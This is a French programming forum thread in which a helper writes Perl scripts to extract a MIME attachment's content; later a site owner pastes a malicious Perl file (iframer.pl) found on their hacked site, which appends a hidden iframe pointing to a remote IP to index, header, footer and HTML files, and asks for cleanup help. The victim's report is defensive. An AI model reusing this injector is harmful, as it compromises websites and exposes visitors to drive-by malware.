Rechercher : dans
Par :

Extraire le contenu d'un fichier avec perl

Dernière réponse le 24 jun 2008 à 03:02:44 titexe, le 27 nov 2006 à 20:29:08 
 Signaler ce message aux modérateurs

Bonjour,

nous recevons toujours des fichiers dans le format ci_dessous et on voudrait extraire que la derniére partie dans un autre fichier avec un script perl;

le format du fichier recus :


This is a multi-part message in MIME format.

------=_NextPart_000_0121_01C708D0.7AEEAB30
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit



-----Message d'origine-----
De : KHALID MONCEF
Envoyé : mercredi 15 novembre 2006 15:49
À : 'pfe@gis.ma'
Objet : Envoi d'un message : OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl


Le message est prêt à être envoyé avec le fichier suivant ou les liens
joints :

OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl


Remarque : pour se protéger de virus informatiques, il se peut que les
programmes de messagerie électronique évitent d'envoyer ou de recevoir
certains types de pièces jointes. Vérifiez les paramètres de sécurité de
votre messagerie électronique pour déterminer de quelle manière les pièces
jointes sont gérées.

------=_NextPart_000_0121_01C708D0.7AEEAB30
Content-Type: application/octet-stream;
name="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
@|99|OR|99|CT|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005||||||
&|6|

---_NextPart_000_0121_01C708D0.7AEEAB30--

ce que nous voulons extraire , c'est juste la derniére partie:

filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
@|99|OR|99|CT|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005||||||
&|6|

D'avance merci,

je suis qu'un débutant , merci de m'aider a completer cette tache,

Cordialement.

Meilleures réponses pour « extraire le contenu d'un fichier avec perl » dans :
Extraire les images et sons d'un fichier PowerPoint (PPT/PPS) VoirLe logiciel PowerPoint permet "d'exporter" directement les fichiers images et sons, par le biais d'une manipulation très simple : Si le nom du fichier est au format *.pps, on fait clic droit/renommer et on change l'extension en *.ppt. Ouvrir...
Extraire le son d'une vidéo VoirVous avez un fichier vidéo dont vous voulez récupérer la bande-son ? Extraire en WAV avec VLC Pour ce faire, il faut d'abord récupérer VLC Media Player à l'adresse suivante : Télécharger VLC Puis, après installation : 1. Menu Fichier =>...
[Audio] Extraction d'un CD audio - Création de ses propres MP3 VoirLa création de fichiers MP3 par extraction des pistes de ses propres CD audio est autorisée par la loi (contrairement au téléchargement de MP3 protégés par le droit d'auteur). L'extraction des pistes peut être réalisée grâce au logiciel CDex,...
Perl - Les fichiers VoirLa notion de filehandle On appelle filehandle (traduisez descripteur de fichier), dans un programme Perl, le nom permettant de manipuler une connexion d'entrée-sortie (les entrées-sorties standards vues précédemment sont connues par les filehandles...

1

lami20j, le 27 nov 2006 à 21:11:45
  • +1

Salut,

#!/usr/bin/perl
use strict;use warnings;

open F_LIRE,"fichier"
   or die "E/S : $!\n";

open F_ECRIRE,">> resultat"
   or die "E/S : $!\n";

while(<F_LIRE>){
  print F_ECRIRE if /^filename=/.../^\s*$/;
}

close F_LIRE;
close F_ECRIRE;
__END__
lami20j

Répondre à lami20j

2

titexe, le 28 nov 2006 à 07:17:05

merci beaucoup lami20j pour votre réponse,

Q: pourriez tu, juste m'expliquer cette ligne :


while(<F_LIRE>){ print F_ECRIRE if /^filename=/.../^\s*$/; }

# affiche le contenu du fichier en commencant par filename jusqu'a? ( normalement jusqu'a la ligne &|6] )

Q: et comment lancer ce script?

je pense qu'il faut lancer de cette maniére : script.pl fichier

Merci encore une fois,

Répondre à titexe

3

titexe, le 28 nov 2006 à 10:54:36

Merci lami20j , j attends vos réponse , merci

Répondre à titexe

4

lami20j, le 28 nov 2006 à 11:56:30

Re,

open F_LIRE,"fichier"
   or die "E/S : $!\n";
J'ouvre une connexion(handle) du script vers le fichier appellé fichier
En langage plus naturel, j'ouvre en lecture le fichier appellé fichier

au lieu de fichier on peut aussi écrire /chemin/vers/fichier

open F_LIRE,"/chemin/vers/fichier"
   or die "E/S : $!\n";
J'appelle cette connexion (ouverture), F_LIRE
open F_ECRIRE,">> resultat"
   or die "E/S : $!\n";
J'ouvre une connexion(handle) du script vers le fichier resultat
Il s'agit d'une ouverture en mode ajout.
Le mode ajoute n'écrase pas le fichier s'il existe et il ajoute à la fin

au lieu de resultat on peut écrire aussi /chemin/vers/resultat
open F_ECRIRE,">> /chemin/vers/resultat"
   or die "E/S : $!\n";
J'appelle cette connexion (ouverture en mode ajout), F_ECRIRE

while(<F_LIRE>){
  print F_ECRIRE if /^filename=/.../^\s*$/;
}
Ici je lis le fichier ligne par ligne en utilisant l'opérateur diamant <> et le nom de ma connexion en lecture
et écrit dans resultat seulement le paragraphe compris entre
filename= et la ligne vide après le paragraphe (donc ce que tu as besoin

print F_ECRIRE if /^filename=/.../^\s*$/;
veut dire
écrit dans resultat si compris entre filename= et la ligne vide après le paragraphe
close F_LIRE;
close F_ECRIRE;
fermeture de la connexion vers les fichiers une fois le travail terminé.

Pour exécuter le script tu tapes simplement
mon_script.pl
après avoir attribuer les droit d'exécution
chmod a+x mon_script.pl
ou
perl mon_script.pl
lami20j

Répondre à lami20j

5

titexe, le 28 nov 2006 à 12:05:40

Re,

j'ai essayé de faire ce que tu m'as dis , mais on exécutant il me sort des messages d'erreurs , et il crée pas le fichier resultat;

extract.pl:

#!/usr/bin/perl

use strict;use warnings;

open F_LIRE,"D:\Shared\Perl\F0006741.dc"
or die "E/S : $!\n";

open F_ECRIRE,">> D:\Shared\Perl\resultat"
or die "E/S : $!\n";

while(<F_LIRE>){
print F_ECRIRE if /^filename=/.../^\s*$/;
}

close F_LIRE;
close F_ECRIRE;
__END__

et voila le message d'erreur qui m'affiche :
D:\Shared\Perl>perl extract.pl
Unrecognized escape \S passed through at extract.pl line 5.
Unrecognized escape \P passed through at extract.pl line 5.
Unrecognized escape \F passed through at extract.pl line 5.
Unrecognized escape \S passed through at extract.pl line 8.
Unrecognized escape \P passed through at extract.pl line 8.
E/S : No such file or directory
D:\Shared\Perl>

es ce qu'on peut mettre le fichier d'entrée comme variable ?

genre : perl extract.pl mon_fichier ?

Merci encore une fois,

Répondre à titexe

6

lami20j, le 28 nov 2006 à 12:18:01

Essaie

#!/chemin/vers/ton/perl

use strict;use warnings; 

open F_LIRE,'D:\Shared\Perl\F0006741.dc' 
or die "E/S : $!\n"; 

open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n"; 

while(<F_LIRE>){ 
print F_ECRIRE if /^filename=/.../^\s*$/; 
} 

close F_LIRE; 
close F_ECRIRE; 
__END__ 

lami20j

Répondre à lami20j

7

titexe, le 28 nov 2006 à 12:25:03

Re,

merci pour ta réactivité,

le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?
Merci encore une fois

Répondre à titexe

8

lami20j, le 28 nov 2006 à 12:30:25

Mets ton fichier .dc sur cjoint.com

Merci.

lami20j

Répondre à lami20j

9

titexe, le 28 nov 2006 à 12:34:46

C'est fait ,

et voila le lien : http://cjoint.com/?lCmHMWj1Y5

Merci d'avance;

Répondre à titexe

10

lami20j, le 28 nov 2006 à 12:46:28

Salut,

Je vois ce que c'est.
C'est pour ça qu'il faut faire attention de ce qu'on doit comme info

tu as dit

filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl" 
@|99|OR|99|CT|200608091600|2006|212121||DD|TEST|||| 
D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005|||||| 
D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005|||||| 
D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005|||||| 
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005|||||| 
D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005|||||| 
D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005|||||| 
&|6| 

mais en fait c'est
	filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"

@|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=
/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=
/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=
/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=
/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=
005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=
005|21/01/2005||||||
&|6|
Et ça change tout.

Donc il y a une ligne vide entre la ligne avec filename et le paragraphe
En plus filename n'est pas au début de la ligne, avant il y a des espaces

moi je cherchais ^filename, donc un filename au début de ligne
jusqu'à la ligne vide qui fini le paragraphe

tu comprends le problème?!

je vais voir ce soir, je n'ai pas la possibilité de tester

lami20j

Répondre à lami20j

11

lami20j, le 28 nov 2006 à 12:49:28

Essaie avec

#!/chemin/vers/ton/perl

use strict;use warnings; 

open F_LIRE,'D:\Shared\Perl\F0006741.dc' 
or die "E/S : $!\n"; 

open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n"; 

while(<F_LIRE>){ 
print F_ECRIRE if /\s+filename=/.../^---/; 
} 

close F_LIRE; 
close F_ECRIRE; 
__END__ 
lami20j

P.S.
le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?

Le fait que le fichier resultat.txt a été créé veut dire que le script fonctionne.
Mais à cause de format que tu as donné au début il ne trouve rien, donc il n'écrit rien dans le fichier que le script a créé

Répondre à lami20j

12

titexe, le 28 nov 2006 à 13:01:33

ca marche lami20j;merci beaucoup;

voila le contenu du fichier resultat.txt

filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"

@|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=
/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=
/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=
/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=
/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=
005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=
005|21/01/2005||||||
&|6|

juste un dernier truc, comment rendre le nom du fichier comme argument;

1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?

2/ comment enlever les retour chariot dans le fichier resultat.txt*
le fichier doit etre comme ca :

@|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=005|21/01/2005||||||
&|6|

Merci encore une fois.

Répondre à titexe

13

lami20j, le 28 nov 2006 à 13:17:43

Re,

juste un dernier truc, comment rendre le nom du fichier comme argument;

1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?

#!/chemin/vers/ton/perl

use strict;use warnings; 

open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n"; 

while(<>){ 
  print F_ECRIRE if /\s+filename=/.../^---/; 
} 

close F_ECRIRE; 
__END__ 


2/ comment enlever les retour chariot dans le fichier resultat.txt*

essaie ça (je n'ai pas testé)
#!/chemin/vers/ton/perl

use strict;use warnings; 

open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n"; 

while(<>){ 
  s/(\d=)\r?\n?/$1/;
  print F_ECRIRE if /\s+filename=/.../^---/; 
} 

close F_ECRIRE; 
__END__ 
lami20j

Répondre à lami20j

14

titexe, le 28 nov 2006 à 13:17:46

Pardon lami20j,

je sais que j'ai abusé, je m'excuse encore une fois ,

c'est trés important pour moi de résoudre ce probléme, le plus vite possible,

merci encore une fois;

Répondre à titexe

15

titexe, le 28 nov 2006 à 13:28:50

Merci infinément,

ca a marché pour les 2 points;

le fichier en argument , et le retour chariot;

maintenant je vais lancé ce script perl a partir d'un script shell,

#!/bin/sh

/usr/bin/perl -x extract.pl F0006741.dc

es ce que cette commande est juste?

Merci encore une fois;

Répondre à titexe

16

lami20j, le 28 nov 2006 à 13:30:59

Tu es toujours sous windows?

Répondre à lami20j

17

titexe, le 28 nov 2006 à 13:33:55

Ton script je l'ai testé sur os windows, mais je veux l'integré dans un script shell dans un environnement Unix ( os = AIX)

Répondre à titexe

18

lami20j, le 28 nov 2006 à 13:37:25

Re

#!/bin/sh 

/usr/bin/perl extract.pl F0006741.dc 

mais je veux l'integré dans un script shell dans un environnement Unix

Dans ce cas il faut faire attention pour les caractère nouvelle ligne \n et retour chariot \r.

Il faut tester le script pour voir ce que ça donne. Tu risques d'avoir des erreurs.

lami20j

Répondre à lami20j

19

titexe, le 28 nov 2006 à 13:50:26

Merci encore une fois :-)

je voyais ce resultat comme un reve,

maintenant le traitement que je vais effectué aprés avec ( awk et shell) , je vais recuperer de ce fichier resultat.txt le nom du fichier qui se trouve dans filename="nom_du_fichier".

et je vais supprimer les 2 premiéres lignes et les 2 derniéres comme ca j'aurais juste le contenu du fichier,

je vous informe que ces fichiers je les recoient dans une plateforme d'echange ,et je doit extraire du fichier originale le nom du fichier et son contenu:

nom du fichier= OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl

contenu =
@|99|OR|99|CT|200608091600|2006|212121||OD|ACTES||||
D|2006|121201300030001011|08|1|1014|1365|300000.0|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|200000.0|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|400000.0|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|300000.0|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|400000.0|3|5|12|12/01/2=005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|400000.0|3|6|13|13/01/2=005|21/01/2005||||||
&|6|

juste pour vous information;

merci encore une fois,

j'ai encore des traitements maintenant a faire avec awk et shell pour obtenir ce qui précede.

es ce que je peux avoir vos suggestions a ce propos?

Merci beaucoup lami20j

Répondre à titexe

20

lami20j, le 28 nov 2006 à 14:14:18

je voyais ce resultat comme un reve,

Avec CCCM = Communauté|entre|onsortium Comment Ça Marche les rêves deviennent réalités.

je vais effectué aprés avec ( awk et shell)

Bon, je ne vais pas exagéré de te demander pourquoi tu ne veux pas faire ça en perl.

Pfffff!!! Je viens de le faire :-)))))))))))

J'espère que les maîtres jipicy et asevere ou asevere et jipicy passeront par là :-)

lami20j

Répondre à lami20j

21

charlie, le 4 avr 2008 à 13:13:04

Bonjour,

J'ai eu une attaque sur un de mes sites de la façon suivante (fichiet iframer.pl à la racine du site) :
#!/usr/bin/perl

use File::Find;

$iframe = '<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>';

sub process_file {
if($File::Find::name =~ /index\.php/i || $File::Find::name =~ /footer\.php/i || $File::Find::name =~ /header\.php/i || $File::Find::name =~/\.htm/i){
open(FILE,">>$File::Find::name");
print $File::Find::name."\r\n";
print FILE $iframe;
close(FILE);
}
}
find(\&process_file,@ARGV);

Celui a infecté tous les fichiers nommés ci-dessus... Pouvez-vous m'aider pour coder en perl une action qui supprimerai l'iframe dans tous les fichiers infectés en automatique. Je suis désolé de m'y prendre comme cela mais je suis néophyte en Perl.

Merci d'avance pour votre aide.

Bien à vous.

Répondre à charlie

22

lami20j, le 4 avr 2008 à 13:41:17

Salut,

je pourrai peut être t'aider
ton site est hebergé par qui? 106485010510997108

Répondre à lami20j

23

Shasam, le 4 avr 2008 à 15:10:02

Bonjour à toi,

C'est sympa d'avoir répondu...
Je suis hébergé chez OVH

je suis entrain de bosser sur la commande suivante mais je pense qu'il me manque encore du code bien écrit :

#!/usr/bin/perl -n -i

while ($ligne = <>) {

$ligne = print unless (<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>);

print $ligne;

}

Merci de ton aide, c'est sympa...

Bien à toi.

Répondre à Shasam

24

lami20j, le 4 avr 2008 à 15:22:52

Je te conseille de rien faire et avoir un peu de patience
je vais regarder ce soir
j'aimerai aussi que tu mets sur cjoint.com un fichier pour que je puisse faire des tests
merci 106485010510997108

Répondre à lami20j

25

shasam, le 5 avr 2008 à 09:22:13

Bonjour,

Désolé de ne pas t'avoir répondu plutôt mais j'ai du m'absenter hier en fin d'après-midi.

Voici le lien que tu m'as demandé : http://cjoint.com/?efjs0GtXmc

C'est très sympa à toi de prendre du temps pour m'aider...

Je te souhaite un bon week-end.

JC

Répondre à shasam